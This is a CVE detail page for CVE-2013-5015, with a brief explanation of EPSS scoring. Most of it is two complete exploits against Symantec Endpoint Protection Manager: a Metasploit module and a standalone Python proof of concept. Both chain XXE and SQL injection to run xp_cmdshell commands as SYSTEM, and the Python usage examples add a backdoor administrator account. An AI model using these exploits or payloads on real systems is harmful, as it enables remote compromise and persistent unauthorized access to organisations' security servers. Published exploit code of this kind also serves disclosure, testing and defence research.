CVE-2013-5015 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::CmdStagerVBS include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution', 'Description' => %q{ This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker can reach SQL injection affected components. As xp_cmdshell is enabled in the included database instance, it's possible to execute arbitrary system commands on the remote system with SYSTEM privileges. }, 'Author' => [ 'Stefan Viehbock', # Discovery 'Chris Graham', # PoC exploit 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5014' ], [ 'CVE', '2013-5015' ], [ 'EDB', '31853'], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Windows VBS Stager', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Feb 24 2014', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) end def check res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', }) if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/ return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 execute_cmdstager({:linemax => 3950}) end def execute_command(cmd, opts = {}) # Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML. command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}" # Generate random 'xx032xxxx' sequence number. seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}" soap = soap_request(seqnum, command) post_data = Rex::MIME::Message.new post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"") xxe = post_data.to_s res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { 'ActionType' => 'ConsoleLog' }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => xxe, }) if res and res.body !~ /ResponseCode/ fail_with(Failure::Unknown, "#{peer} - Something went wrong.") end end def soap_request(seqnum, command) randpayload = rand_text_alpha(8+rand(8)) randxxe = rand_text_alpha(8+rand(8)) entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?" entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >" xml = Document.new xml.add(DocType.new('sepm', "[ METASPLOIT ]")) xml.add_element("Request") xxe = xml.root.add_element(randxxe) xxe.text = "PAYLOAD" xml_s = xml.to_s xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding xml_s end end

import argparse import httplib """ Exploit Title: Symantec Endpoint Protection Manager Remote Command Execution Exploit Author: Chris Graham @cgrahamseven CVE: CVE-2013-5014, CVE-2013-5015 Date: February 22, 2014 Vendor Homepage: http://www.symantec.com/endpoint-protection Version: 11.0, 12.0, 12.1 Tested On: Windows Server 2003, default SEPM install using embedded database References: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140213_00 Details: First off, this was a fantastic discovery by Stefan Viehbock. The abuse of the XXE injection to force SEPM to exploit itself through a separate SQL injection flaw was particularly amusing. I suspect the majority of SEPM users will have it configured with the default embedded database, thereby making this a pretty reliable exploit. So basically what you are looking for with the XXE injection is a vulnerability that can be triggered in the ConsoleServlet. When a multipart http request is sent, the servlet will use a custom MultipartParser class to handle the individual multipart bodies. When a body is encountered that uses a Content-Type of text/xml, the Java DocumentBuilder class is used to parse the xml. Since Symantec did not disallow declared DTD processing, it is vulnerable to the XXE injection. This appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF. That leads us to the SQL injection flaw. Symantec has an http request handler called ConfigServerHandler that is programmatically restricted to only handle requests that come from localhost. I guess when they wrote this they just assumed that there was never going to be a way to send untrusted input to it since it was always going to be controlled by them. I base this guess on the fact that there is absolutely no attempt made to validate what input comes in to the updateReportingVersion function which shoves it directly into a SQL query unfiltered. In order to trigger the SQL injection you just need to send the SQL injection string in the "Parameter" url param with the "action" param set to test_av. On a default install of SEPM, it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell stored procedure to run local OS commands. Using this stored procedure, you can compromise the server that is running SEPM. Example Usage: python sepm_xxe_exploit.py -t 192.168.1.100 -c "net user myadmin p@ss!23 /add" python sepm_xxe_exploit.py -t 192.168.1.100 -c "net localgroup Administrators myadmin /add" """ multipart_body = \ "------=_Part_156_33010715.1234\r\n" + \ "Content-Type: text/xml\r\n" + \ "Content-Disposition: form-data; name=\"Content\"\r\n\r\n" + \ "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n" + \ "<!DOCTYPE sepm [<!ENTITY payload SYSTEM " + \ "\"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av" + \ "&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('%s');--\" >]>\r\n" + \ "<request>\r\n" + \ "<xxe>&payload;</xxe>\r\n" + \ "</request>\r\n" + \ "------=_Part_156_33010715.1234--\r\n" headers = {'Content-Type':"multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""} cmdline_parser = argparse.ArgumentParser(description='Symantec Endpoint Protection Manager' + \ ' Remote Command Execution') cmdline_parser.add_argument('-t', dest='ip', help='Target IP', required=True) cmdline_parser.add_argument('-p', dest='port', help='Target Port', default=9090, \ type=int, required=False) cmdline_parser.add_argument('-ssl', dest='ssl', help='Uses SSL (set to 1 for true)', \ default=0, type=int, required=False) cmdline_parser.add_argument('-c', dest='cmd', help='Windows cmd to run (must be in quotes ie "net user")', \ required=True) args = cmdline_parser.parse_args() if args.ssl == 1: conn = httplib.HTTPSConnection(args.ip, args.port) else: conn = httplib.HTTPConnection(args.ip, args.port) multipart_body = multipart_body % (args.cmd) print "\n[*]Attempting to exploit XXE and run local windows command: " + args.cmd conn.request("POST", "/servlet/ConsoleServlet?ActionType=ConsoleLog", multipart_body, headers) res = conn.getresponse() if res.status != 200: print "[-]Exploit unsuccessful! Server returned:\n" + res.read() else: print "[+]Exploit successfully sent!"